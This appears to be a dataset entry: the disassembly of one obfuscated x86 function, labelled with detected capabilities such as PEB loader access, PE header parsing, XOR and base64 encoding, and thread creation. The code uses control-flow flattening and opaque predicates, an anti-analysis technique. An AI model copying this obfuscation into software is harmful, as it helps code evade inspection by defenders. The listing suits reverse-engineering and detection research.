Function at 0x401010
Capabilities:
Access peb ldr_data
Authenticate hmac
Create thread
Encode data using base64
Encode data using xor
Get number of processors
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x210
mov eax, dword [0x48e440]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xac4ddd58
and eax, 0x53b222a7
or ecx, eax
mov eax, ecx
xor eax, 0xa40dc410
xor ecx, 0x12102220
and ecx, 0x1a503b68
and eax, 0xe5afc497
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0xe0254084
xor edx, 0x1a503b68
xor ecx, 0x1a503b69
and ecx, edx
and eax, 0xf87559e4
and edx, 0x78aa61b
or edx, eax
mov eax, ecx
not eax
and ecx, 0x3caf6c58
mov esi, eax
and esi, 0xc35093a7
or ecx, esi
mov esi, edx
xor esi, 0x48a2418
xor edx, 0xf87559e5
or eax, edx
and edx, 0xc35093a7
and esi, 0x3caf6c58
or esi, edx
not eax
mov edx, dword [0x48f780]
xor esi, ecx
or eax, esi
mov esi, eax
xor esi, 0xc8c16dd3
mov ecx, eax
and ecx, 0x88402912
and esi, eax
not eax
and eax, 0x408144c1
or ecx, eax
mov eax, 0xe111a657
xor ecx, 0x88402912
or ecx, esi
not esi
and esi, 0x373e922c
and ecx, 0xc8c16dd3
or ecx, esi
sete byte [ebp - 0xa1]
cmp edx, 0xa
setl byte [ebp - 0xa2]
jmp 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x949b25f6
mov esi, edx
and esi, 0x6b64da08
and edx, 0xda7341c7
or ecx, esi
mov esi, ecx
xor esi, 0x49200a0
xor ecx, 0x2a409208
and ecx, 0xba49b75e
and esi, 0x45b648a0
or esi, ecx
mov ecx, eax
or ecx, 0xba49b75e
and eax, 0x258cbe38
and ecx, 0xba49b75f
or eax, edx
xor ecx, esi
mov edx, ecx
not edx
and ecx, 0x70197421
mov esi, edx
and esi, 0x8fe68bde
or ecx, esi
mov esi, eax
xor esi, 0x20083420
xor eax, 0x8a6201c6
and eax, 0x8fe68bde
and esi, 0x70197421
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x9ce4fe3f
sete ch
setne ah
cmp dword [0x48f780], 0xa
setge cl
setl al
mov edx, ecx
or cl, ch
xor dl, ah
or ah, al
or al, ch
xor cl, 1
xor al, 1
xor ah, 1
or al, dl
or cl, ah
mov ah, cl
mov edx, eax
and cl, al
not dl
xor ah, 1
and dl, ah
or ah, al
or dl, cl
mov al, ah
mov ecx, 0x83a7377d
xor al, dl
test al, 1
cmovne ecx, esi
test ah, ah
mov eax, 0x83a7377d
cmovne eax, ecx
test dl, 1
cmove eax, ecx
nop dword [eax + eax]
cmp eax, 0x60063fa
jle 0x401280
cmp eax, 0x434bb064
jle 0x401450
cmp eax, 0x63055d6b
jle 0x401662
cmp eax, 0x7272aa93
jle 0x401a88
cmp eax, 0x78fffe38
jle 0x401fb7
cmp eax, 0x7c00334c
jg 0x402d59
cmp eax, 0x7b2ed99e
jle 0x403e55
cmp eax, 0x7b9e75a6
jg 0x40635f
cmp eax, 0x7b2ed99f
je 0x4077d7
cmp eax, 0x7b8605d3
jne 0x401200
cmp dword [ebp - 0x20c], 0
mov eax, 0xf4ab6a34
mov ecx, 0xe03c7fba
cmovns eax, ecx
jmp 0x401200
cmp eax, 0xc3ab7994
jle 0x401600
cmp eax, 0xe3e290c5
jle 0x4016b9
cmp eax, 0xf4ab6a33
jle 0x401c6d
cmp eax, 0xfd02ffc4
jle 0x402167
cmp eax, 0x1968bdf
jle 0x402d95
cmp eax, 0x2dbe5cd
jle 0x403e80
cmp eax, 0x46511c7
jg 0x40638e
cmp eax, 0x2dbe5ce
je 0x4077ea
cmp eax, 0x431f99a
jne 0x401200
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x9c275b43
and edx, ecx
not ecx
and ecx, 0x9c275b43
or edx, ecx
mov eax, edx
not eax
and edx, 0x5bdf4df3
and eax, 0xa420b20c
or edx, eax
mov ecx, edx
mov edi, edx
xor ecx, 0xc6f000b0
xor edi, 0x3807e94f
xor edx, 0x2800000
mov eax, edi
and eax, 0x210c5f41
and ecx, 0xdef3a0be
or edi, 0xe1759710
and edx, 0x280084b
or ecx, eax
mov eax, ecx
mov ebx, ecx
xor eax, 0xdef3a0be
xor ebx, 0xc079c851
xor ecx, 0x20005100
and ebx, eax
or eax, 1
and ecx, 0x60f151ae
mov esi, ebx
not esi
and ebx, 0xe285895b
and eax, 0x9f0eae51
mov dword [ebp - 0xb8], esi
and dword [ebp - 0xb8], 0x1d7a76a4
or esi, edi
and edi, 0x1d7a76a4
or eax, ecx
add ebx, dword [ebp - 0xb8]
or edx, edi
not esi
xor eax, 0x9f0eae51
xor edx, ebx
or esi, edx
mov edx, esi
not edx
and esi, 0xe1759711
and edx, 0x1e8a68ee
or esi, edx
or eax, esi
mov esi, 0x78fffe39
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0xa5f24c6e
and eax, 0x5a0db391
or edx, eax
xor edx, 0xa5f24c6e
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x6b27ff1f
mov edx, eax
and edx, 0x94d800e0
or ecx, edx
xor ecx, 0x6b27ff1f
or ecx, eax
xor ecx, 0xffffffff
setne dl
sete al
cmp dword [0x48f780], 0xa
setge ch
setl ah
mov cl, ch
or dl, ah
xor cl, al
xor al, ah
xor dl, 1
xor cl, 1
and al, ah
or cl, ch
or al, dl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0xcdf7ca60
cmovne ecx, esi
test dl, dl
mov edx, 0xcdf7ca60
cmovne edx, ecx
test al, al
jmp 0x4112ee
cmp eax, 0x29c81662
jg 0x40171f
cmp eax, 0x1ced8271
jg 0x401cb9
cmp eax, 0xf61dc1b
jg 0x402301
cmp eax, 0xa50840c
jle 0x402dd6
cmp eax, 0xda9149d
jle 0x403eab
cmp eax, 0xf3fd72f
jg 0x406489
cmp eax, 0xda9149e
je 0x40792b
cmp eax, 0xddc89ac
jne 0x401200
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x2c16f4f2
and ecx, 0xd3e90b0d
or edx, ecx
xor edx, 0x2c16f4f2
or eax, edx
mov esi, eax
not esi
mov edx, eax
and edx, 0xde151e60
and eax, 0x2a06436e
mov ecx, esi
and esi, 0x21eae19f
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0xd5f9bc91
or eax, esi
mov esi, edx
xor esi, 0xa040260
xor edx, 0x21eae19e
or ecx, edx
and edx, 0xd5f9bc91
and esi, 0x2a06436e
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov edx, ecx
xor edx, 0x57d21166
mov eax, ecx
and eax, 0x5f0c952e
and edx, ecx
not ecx
and ecx, 0xa0f36ad1
or eax, ecx
mov ecx, eax
xor eax, 0xd20040
xor ecx, 0x52001122
mov esi, eax
or esi, 0x8821a691
and ecx, 0x52521162
and esi, 0x8da1a695
or ecx, esi
mov esi, edx
not esi
and edx, 0x725e596a
or eax, esi
and esi, 0x8da1a695
or edx, esi
not eax
mov esi, 0xb845a8d7
xor edx, ecx
or eax, edx
not edx
and edx, 0xa82dee99
and eax, 0x57d21166
or eax, edx
mov ecx, eax
not ecx
and eax, 0xbbd5bb99
and ecx, 0x442a4466
or eax, ecx
xor eax, 0x442a4466
setne dl
sete ah
cmp dword [0x48f780], 0xa
mov ecx, edx
setl ch
setge al
or dl, ch
and cl, al
and ch, ah
or ch, cl
mov cl, ch
xor cl, al
or al, ah
mov ah, al
or al, dl
and cl, ch
xor ah, dl
xor al, 1
xor cl, 1
or al, ah
mov edx, ecx
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x7358849c
cmovne eax, esi
test dl, 1
mov edx, 0x7358849c
jmp 0x40dda2
cmp eax, 0xa074d0f5
jg 0x40186c
cmp eax, 0x8f949504
jg 0x401d05
cmp eax, 0x87393da7
jg 0x40234b
cmp eax, 0x83a7377c
jle 0x402e0c
cmp eax, 0x84f8d95b
jle 0x40404b
cmp eax, 0x86017edd
jg 0x4064a9
cmp eax, 0x84f8d95c
je 0x407935
cmp eax, 0x855f386c
jne 0x401200
mov eax, 0x8e221ba2
jmp 0x401200
cmp eax, 0x51478732
jg 0x401d51
cmp eax, 0x47034397
jg 0x402477
cmp eax, 0x44eff42e
jle 0x402e42
cmp eax, 0x45259123
jle 0x404081
cmp eax, 0x46496de9
jg 0x4065bd
cmp eax, 0x45259124
je 0x407a01
cmp eax, 0x46026e5e
jne 0x401200
mov eax, 0x9edec554
jmp 0x401200
cmp eax, 0xd06283fe
jg 0x401ec4
cmp eax, 0xcaa011b8
jg 0x4025a7
cmp eax, 0xc86ae676
jle 0x402fc9
cmp eax, 0xc8f6c451
jle 0x4040ac
cmp eax, 0xc97f4020
jg 0x406708
cmp eax, 0xc8f6c452
je 0x407b11
cmp eax, 0xc9508004
jne 0x401200
cmp byte [ebp - 0xae], 0
mov eax, 0xe03c7fba
mov ecx, 0xfed0cd42
cmovne eax, ecx
jmp 0x401200
cmp eax, 0x34b87cdf
jg 0x401f1f
cmp eax, 0x303d1325
jg 0x402761
cmp eax, 0x2b79a9b2
jle 0x402fff
cmp eax, 0x2d24a611
jle 0x4040da
cmp eax, 0x2e96d61d
jg 0x40680c
cmp eax, 0x2d24a612
je 0x407b26
cmp eax, 0x2e0ea9fb
jne 0x401200
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x8bb6b7f5
and ecx, 0x7449480a
or edx, ecx
xor edx, 0x8bb6b7f5
or eax, edx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov ecx, eax
xor ecx, 0x42750879
mov edx, eax
not edx
and ecx, eax
or eax, 0xbd8af786
and edx, 0x42240860
mov esi, eax
and esi, 0xb159249b
or edx, esi
mov esi, ecx
not esi
and ecx, 0x4ea6db64
or eax, esi
and esi, 0xb159249b
or ecx, esi
not eax
mov esi, 0xb35144b4
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x12a21625
and ecx, 0xed5de9da
or eax, ecx
cmp eax, 0x50d71e5c
sete dl
cmp dword [0x48f780], 0xa
setge ah
setl al
mov cl, ah
mov ch, al
xor al, dl
xor cl, dl
or ch, dl
or dl, ah
xor al, 1
not cl
and cl, ah
mov ah, dl
xor cl, 1
xor ah, cl
or cl, dl
mov edx, eax
or al, ch
xor cl, 1
xor dl, ch
xor al, 1
or cl, ah
or al, dl
mov edx, ecx
mov ah, al
xor dl, al
xor ah, 1
and al, cl
and dl, cl
xor cl, 1
and cl, ah
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x7c385c17
cmovne eax, esi
test dl, 1
mov edx, 0x7c385c17
jmp 0x409a9e
cmp eax, 0xb41e6a86
jg 0x401f6b
cmp eax, 0xaa37a844
jg 0x4027a2
cmp eax, 0xa4d986e4
jle 0x40313f
cmp eax, 0xa65c23c3
jle 0x4041bd
cmp eax, 0xa80c91f2
jg 0x4068be
cmp eax, 0xa65c23c4
je 0x407d6d
cmp eax, 0xa66497c6
jne 0x401200
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xd2a2970a
mov edx, ecx
not edx
and eax, ecx
or ecx, 0x2d5d68f5
and edx, 0x2201508
mov esi, eax
not esi
mov edi, ecx
and edi, 0xd5ceaa82
and eax, 0x2a31557d
or ecx, esi
and esi, 0xd5ceaa82
or edx, edi
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xaaa4bc15
and eax, 0x555b43ea
or ecx, eax
mov edx, ecx
mov esi, ecx
xor edx, 0x58062000
xor esi, 0x87f9d4e0
xor ecx, 0x2a06
mov eax, esi
and eax, 0xa029db1f
and edx, 0x5fd624e0
or esi, 0xfb4e9021
and ecx, 0x112ec6
or edx, eax
mov eax, edx
mov edi, edx
xor edi, 0x5fd624e0
xor edx, 0x5b674b3e
xor eax, 0xa029db1e
and edx, edi
and eax, 0xfffffffe
mov edi, edx
not edi
and edx, 0xa01faec7
mov ebx, edi
or edi, esi
and ebx, 0x5fe05138
and esi, 0x5fe05138
or edx, ebx
or ecx, esi
not edi
xor ecx, edx
or edi, ecx
mov ecx, edi
not ecx
and edi, 0xfb4e9020
and ecx, 0x4b16fdf
or edi, ecx
or eax, edi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x365f2a27
and eax, 0x10800c4
mov edx, ecx
and edx, 0xc9a0d5d8
or ecx, 0x68807a2a
or esi, edx
and ecx, 0x7ca5ff3b
mov edx, esi
xor esi, 0x48805008
xor edx, 0x2520000
or eax, ecx
or esi, 0x14258511
and edx, 0x82520000
and esi, 0x7ca5ff3b
or edx, esi
mov esi, 0x374bd403
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x3a346017
and ecx, 0xc5cb9fe8
or eax, ecx
mov ecx, eax
xor ecx, 0x9040081d
xor eax, 0x60964c0
and ecx, 0xb950891f
and eax, 0x46af76e0
or eax, ecx
mov ecx, eax
xor ecx, 0x88500004
xor eax, 0x896660
and eax, 0x3189ef7b
and ecx, 0xce761084
or ecx, eax
xor ecx, 0xce761084
setne dl
sete ah
cmp dword [0x48f780], 0xa
mov ecx, edx
setl ch
setge al
and cl, al
and ch, ah
xor dl, al
or ch, cl
and dl, ah
mov cl, ch
xor cl, al
or al, ah
xor al, 1
and cl, ch
or al, dl
mov edx, ecx
mov ah, al
xor dl, 1
xor ah, 1
and al, dl
or dl, ah
and ah, cl
mov ecx, 0x4e20449b
or ah, al
mov al, dl
xor al, ah
test al, 1
cmovne ecx, esi
test ah, ah
mov esi, 0x4e20449b
jmp 0x40f48a
cmp eax, 0x6c7e12af
jg 0x4027f2
cmp eax, 0x6663fa65
jle 0x403491
cmp eax, 0x69de9d0b
jle 0x4041e8
cmp eax, 0x6c5289a2
jg 0x406cb2
cmp eax, 0x69de9d0c
je 0x407d77
cmp eax, 0x6b3f975d
jne 0x401200
mov eax, dword [ebp - 0x28]
mov dword [eax], 1
mov eax, dword [0x48f784]
lea esi, [eax + 1]
imul esi, eax
mov edx, esi
not edx
mov eax, esi
and eax, 0xccc959f2
or esi, 0xb8623d78
and edx, 0x3336a60d
mov ecx, esi
not ecx
and esi, 0x479dc286
or edx, eax
mov eax, edx
xor eax, 0x3336a60d
xor edx, 0x44c01080
mov edi, eax
and edi, 0xb8623d78
and edx, 0x74f6308c
or ecx, edi
and ecx, 0xb8623d79
or ecx, esi
mov esi, eax
and esi, 0x8b09cf73
and eax, 1
or esi, edx
xor esi, 0x74f6308d
or eax, esi
mov edx, eax
not edx
and eax, 0x6369182a
and edx, 0x9c96e7d5
or eax, edx
xor eax, 0x6369182a
or eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0xb2c65fd8
and eax, 0x4d39a027
or ecx, eax
mov eax, ecx
xor eax, 0xb20403c0
xor ecx, 0x4d39a027
mov esi, ecx
and esi, 0x40f2fc1a
and eax, 0xbf0d03e5
or eax, esi
mov esi, edx
not esi
and edx, 0xbf0d03e5
or ecx, esi
and esi, 0x40f2fc1a
or edx, esi
not ecx
mov esi, 0x118f6421
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x4a1b5827
and eax, 0xb5e4a7d8
or ecx, eax
mov eax, ecx
xor eax, 0x48010004
xor ecx, 0xa0200708
and ecx, 0xa23a5f2b
and eax, 0x5dc5a0d4
or eax, ecx
mov ecx, eax
xor ecx, 0x20a1520
xor eax, 0x55808080
and eax, 0xf5b0ca8b
and ecx, 0xa4f3574
or ecx, eax
xor ecx, 0xa4f3574
sete dl
setne ch
cmp dword [0x48f780], 0xa
setge al
setl ah
xor al, ch
or ch, ah
or dl, ah
mov cl, al
xor al, 1
and cl, ah
mov ah, al
or al, dl
xor cl, 1
xor ah, dl
xor al, 1
mov dh, cl
or cl, ch
or al, ah
xor dh, ch
xor cl, 1
mov dl, al
or cl, dh
xor dl, 1
mov ah, cl
mov ch, cl
and dl, al
xor ah, 1
xor dl, 1
and ch, ah
xor ch, 1
or ch, ah
or ah, al
xor ch, 1
or ch, cl
mov cl, dl
or dl, al
xor cl, al
xor dl, 1
mov al, ah
or dl, cl
xor dl, ch
mov ecx, 0xa074d0f6
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0xa074d0f6
jmp 0x4011f2
cmp eax, 0xec8f107c
jg 0x402842
cmp eax, 0xe8dc9acb
jle 0x4034d0
cmp eax, 0xeb0a3ebe
jle 0x4042f4
cmp eax, 0xebe3824d
jg 0x406cd2
cmp eax, 0xeb0a3ebf
je 0x407d84
cmp eax, 0xeb80703b
jne 0x401200
mov eax, 0xece655b7
jmp 0x401200
cmp eax, 0x25124bca
jg 0x40297b
cmp eax, 0x21aa513e
jle 0x403515
cmp eax, 0x22503720
jle 0x40432e
cmp eax, 0x237fdb92
jg 0x406cf2
cmp eax, 0x22503721
je 0x407e78
cmp eax, 0x225e5e8a
jne 0x401200
mov eax, 0xa66497c6
jmp 0x401200
cmp eax, 0x98554335
jg 0x402b34
cmp eax, 0x932a7ea0
jle 0x40354b
cmp eax, 0x95a7028a
jle 0x404359
cmp eax, 0x978992ce
jg 0x406d21
cmp eax, 0x95a7028b
je 0x407e91
cmp eax, 0x96fbf044
jne 0x401200
mov eax, 0x7908750b
jmp 0x401200
cmp eax, 0x59f7c173
jg 0x402bb2
cmp eax, 0x53a8a518
jle 0x403584
cmp eax, 0x550f99e2
jle 0x40438d
cmp eax, 0x58a0f8bb
jg 0x406d41
cmp eax, 0x550f99e3
je 0x407f3c
cmp eax, 0x581a79e6
jne 0x401200
mov eax, dword [0x48f784]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0x96bf51dd
and eax, 0x6940ae22
or edx, eax
mov ecx, edx
mov eax, edx
xor ecx, 0x4a41104
xor eax, 0x29402a00
xor edx, 0x800a4040
and eax, 0xbb5b6ad9
and ecx, 0x44a49526
and edx, 0x884a4040
or ecx, eax
mov eax, ecx
mov edi, ecx
xor eax, 0x44a49526
xor edi, 0xecfefee2
xor ecx, 0x901a4290
and edi, eax
and ecx, 0xd41ad392
mov esi, edi
not esi
and edi, 0x9d6ec458
mov ebx, esi
and ebx, 0x62913ba7
or edi, ebx
mov ebx, eax
or ebx, 0x57a5943b
and eax, 0x2be52c6c
or esi, ebx
and ebx, 0x62913ba7
or eax, ecx
or edx, ebx
not esi
xor eax, 0x2be52c6c
xor edx, edi
or esi, edx
mov edx, esi
not edx
and esi, 0x7b7372df
and edx, 0x848c8d20
or esi, edx
xor esi, 0x2cd6e6e5
or eax, esi
mov esi, 0x118f6421
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x952e93c6
and eax, 0x6ad16c39
or ecx, eax
xor ecx, 0x952e93c6
or edx, ecx
sete al
setne dl
cmp dword [0x48f780], 0xa
setl ch
setge ah
mov dh, ch
or al, ah
xor dh, dl
or dl, ch
xor al, 1
mov cl, dh
xor dl, 1
xor cl, ah
or al, dl
and cl, dh
mov ah, al
mov edx, ecx
not ah
not dl
and ah, cl
and dl, al
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x6b3f975d
cmovne ecx, esi
test al, 1
mov eax, 0x6b3f975d
jmp 0x410aa7
cmp eax, 0xdd9418cf
jg 0x402c0a
cmp eax, 0xd72a50dc
jle 0x4036f6
cmp eax, 0xd8c21ec2
jle 0x4043ce
cmp eax, 0xda9c6e79
jg 0x406d99
cmp eax, 0xd8c21ec3
je 0x408008
cmp eax, 0xda1cb3b6
jne 0x401200
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x58]
mov eax, 0xe966db65
jmp 0x401200
cmp eax, 0x3e52810c
jg 0x402cc1
cmp eax, 0x38f74d18
jle 0x40374a
cmp eax, 0x3af619e3
jle 0x4043f9
cmp eax, 0x3c0b540f
jg 0x406dbf
cmp eax, 0x3af619e4
je 0x408331
cmp eax, 0x3b0ab621
jne 0x401200
mov eax, 0xc5ba9349
jmp 0x401200
cmp eax, 0xbce01d5e
jg 0x402d18
cmp eax, 0xb6644d19
jle 0x403780
cmp eax, 0xba0beb9e
jle 0x404460
cmp eax, 0xbccb5e7f
jg 0x406de2
cmp eax, 0xba0beb9f
je 0x4083f3
cmp eax, 0xbba91d44
jne 0x401200
mov eax, 0x6ef36f18
jmp 0x401200
cmp eax, 0x74b751b5
jle 0x403887
cmp eax, 0x74e0cf6a
jle 0x40448b
cmp eax, 0x766f2af5
jg 0x406e02
cmp eax, 0x74e0cf6b
je 0x408403
cmp eax, 0x76234b7b
jne 0x401200
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov dword [eax], 0
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x141c8000
mov ecx, edx
or ecx, 0x8381163b
and edx, 0xcd452163
mov edi, ecx
and edi, 0xea637bef
or esi, edi
mov edi, eax
xor edi, 0x8381163b
andn edi, eax, edi
mov ebx, edi
not ebx
and edi, 0x159c8410
or ecx, ebx
and ebx, 0xea637bef
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov edi, 0xa43c5f6b
mov esi, ecx
not esi
and ecx, 0xd84f6305
and esi, 0x27b09cfa
or ecx, esi
mov esi, eax
and esi, 0x32bade9c
and eax, 1
or esi, edx
xor ecx, 0xa4318ac0
xor esi, 0xcd452162
or eax, esi
mov esi, 0x31d9816d
mov edx, eax
not edx
and eax, 0x84de9aa4
and edx, 0x7b21655b
or eax, edx
xor eax, 0x84de9aa4
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x603e3393
and ecx, 0x9fc1cc6c
or eax, ecx
mov ecx, eax
xor ecx, 0x22302
xor eax, 0x9081c044
and eax, 0xf0bdd0d5
and ecx, 0xf422f2a
or ecx, eax
mov eax, ecx
xor eax, 0x300940d4
xor ecx, 0xf422f2a
mov edx, ecx
and edx, 0xc1b6b709
and eax, 0x3e4948f6
or eax, edx
xor eax, 0xc1b6b709
xor ecx, eax
test ecx, eax
setne dl
sete ah
cmp dword [0x48f780], 0xa
setl cl
mov ch, cl
mov al, cl
xor ch, ah
and al, dl
xor dl, cl
or cl, ah
and ch, ah
mov ah, dl
xor ah, cl
or cl, dl
or al, ch
xor cl, 1
mov ch, al
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov cl, al
xor dl, 1
xor cl, 1
or dl, ah
and cl, dl
xor dl, 1
xor ch, dl
and dl, al
and ch, al
or dl, cl
mov al, ch
xor al, dl
test al, 1
cmovne esi, edi
test dl, dl
mov eax, esi
jmp 0x405662
cmp eax, 0xf727ac6f
jle 0x4038bd
cmp eax, 0xfc827209
jle 0x4044b6
cmp eax, 0xfc962fcb
jg 0x406e22
cmp eax, 0xfc82720a
je 0x408630
cmp eax, 0xfc87e58c
jne 0x401200
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x184]
mov dword [eax], ecx
mov eax, dword [0x48f784]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0xdb3406a9
and eax, 0x24cbf956
or edx, eax
mov esi, edx
xor esi, 0xdb3406a9
mov eax, edx
xor edx, 0x4702d2bf
xor eax, 0x24cbf956
mov ecx, esi
or ecx, 0x63c92be9
mov edi, eax
and edx, esi
and edi, 0x1c269400
and esi, 0x3ea40d20
mov ebx, ecx
and ebx, 0xa3104216
or edi, ebx
mov ebx, edx
not ebx
and edx, 0x5cefbde9
or ecx, ebx
and ebx, 0xa3104216
or edx, ebx
not ecx
xor edx, edi
or ecx, edx
not edx
and edx, 0x63c92be8
and ecx, 0x9c36d417
or ecx, edx
mov edx, eax
and edx, 0xc15bf2df
and eax, 1
or edx, esi
mov esi, 0x52bd79da
xor edx, 0x3ea40d21
or eax, edx
not eax
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x16ea4426
andn eax, eax, eax
and edx, 0xe915bbd9
or ecx, edx
xor ecx, 0x16ea4426
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xbd09b3e5
and ecx, 0x42f64c1a
or eax, ecx
mov ecx, eax
xor ecx, 0x3500b045
xor eax, 0xa40410
and eax, 0x88ad07b0
and ecx, 0x7752f84f
or ecx, eax
mov eax, ecx
xor eax, 0x8210310
xor ecx, 0x76408006
and ecx, 0xf6cc84a6
and eax, 0x9337b59
or eax, ecx
xor eax, 0x9337b59
sete dl
setne al
cmp dword [0x48f780], 0xa
setge ah
mov cl, ah
xor cl, al
or al, ah
or ah, dl
and cl, dl
xor cl, 1
mov edx, ecx
or cl, ah
xor dl, ah
xor cl, 1
or cl, dl
mov edx, eax
xor cl, 1
xor dl, cl
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x8e64b6b3
cmovne ecx, esi
test dl, 1
cmove ecx, esi
test al, 1
mov eax, 0x8e64b6b3
jmp 0x411184
cmp eax, 0x136e0e38
jle 0x4038f3
cmp eax, 0x15bb4ec0
jle 0x404593
cmp eax, 0x198d446a
jg 0x406e51
cmp eax, 0x15bb4ec1
je 0x40863a
cmp eax, 0x160ae0d0
jne 0x401200
mov eax, dword [ebp - 0x38]
mov dword [eax], 0
mov eax, 0xf99d3748
jmp 0x401200
cmp eax, 0x8b10c7c7
jle 0x403938
cmp eax, 0x8e221ba1
jle 0x40466f
cmp eax, 0x8e64b6b2
jg 0x40704d
cmp eax, 0x8e221ba2
je 0x408768
cmp eax, 0x8e4b4fe2
jne 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
not ecx
or edx, 0x75f1e0eb
mov edi, ecx
mov esi, edx
and esi, 0x8595d356
and edi, 0xa0a0c00
and ecx, 0x5e44c726
or edi, esi
mov esi, eax
xor esi, 0x8a0e1f14
and esi, eax
and eax, 0xa1bb38d9
mov ebx, esi
not ebx
and esi, 0x7a6a2ca9
or eax, ecx
or edx, ebx
and ebx, 0x8595d356
xor eax, 0xa1bb38d9
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0xbc2e8cf
and esi, 0xf43d1730
or edx, esi
mov esi, edx
xor esi, 0x810c1010
xor edx, 0x74000821
and edx, 0x74c0efeb
and esi, 0x8b3f1014
or esi, edx
xor esi, 0x8b3f1014
or eax, esi
mov esi, 0x52bd79da
mov ecx, eax
not ecx
and eax, 0x29216fad
and ecx, 0xd6de9052
or eax, ecx
cmp eax, 0x29216fad
setne dl
cmp dword [0x48f780], 0xa
setl ah
setge cl
mov al, ah
or cl, dl
xor al, dl
or dl, ah
not al
xor dl, 1
and al, ah
or al, dl
xor al, 1
mov edx, eax
xor al, cl
or dl, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xfc87e58c
cmovne ecx, esi
test al, al
mov esi, 0xfc87e58c
jmp 0x40f48a
cmp eax, 0x4e0b0d12
jle 0x40397c
cmp eax, 0x4f9c5994
jle 0x404756
cmp eax, 0x5023dfcd
jg 0x407139
cmp eax, 0x4f9c5995
je 0x408818
cmp eax, 0x4ffa50b5
jne 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x14f9941e
and ecx, 0xeb066be1
or eax, ecx
mov ecx, eax
xor ecx, 0x4511012
xor eax, 0x6b0443a0
and eax, 0x7bacc7ac
and ecx, 0x84533853
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0x503042
xor eax, 0x7bacc7ac
xor edx, 0x7bacc7ad
and edx, eax
and ecx, 0x85c70ca
and eax, 0xf7a38f35
or eax, ecx
xor eax, 0xf7a38f34
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x9887080
and eax, 0x2061820a
mov edx, ecx
or edx, 0xd2160044
and esi, 0xdb9e70c4
and ecx, 0x4000d31
and edx, 0xdb9e70c4
or ecx, esi
mov esi, 0xe0e2a2e6
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xd6160d75
and ecx, 0x29e9f28a
or eax, ecx
setne dl
sete ah
cmp dword [0x48f780], 0xa
setge ch
setl al
mov cl, ch
and dl, al
and ch, ah
or al, ah
or ch, dl
xor al, 1
xor cl, ah
or al, ch
mov edx, eax
not dl
and dl, cl
xor cl, 1
mov ah, cl
xor ah, al
and al, cl
or al, dl
and ah, cl
mov edx, 0x33601521
mov ecx, eax
xor cl, ah
test al, al
cmovne edx, esi
test ah, ah
mov eax, 0x33601521
jmp 0x40b822
cmp eax, 0xcdcb8fb6
jle 0x4039b2
cmp eax, 0xcffd15ac
jle 0x4047aa
cmp eax, 0xd0230813
jg 0x4071fc
cmp eax, 0xcffd15ad
je 0x408908
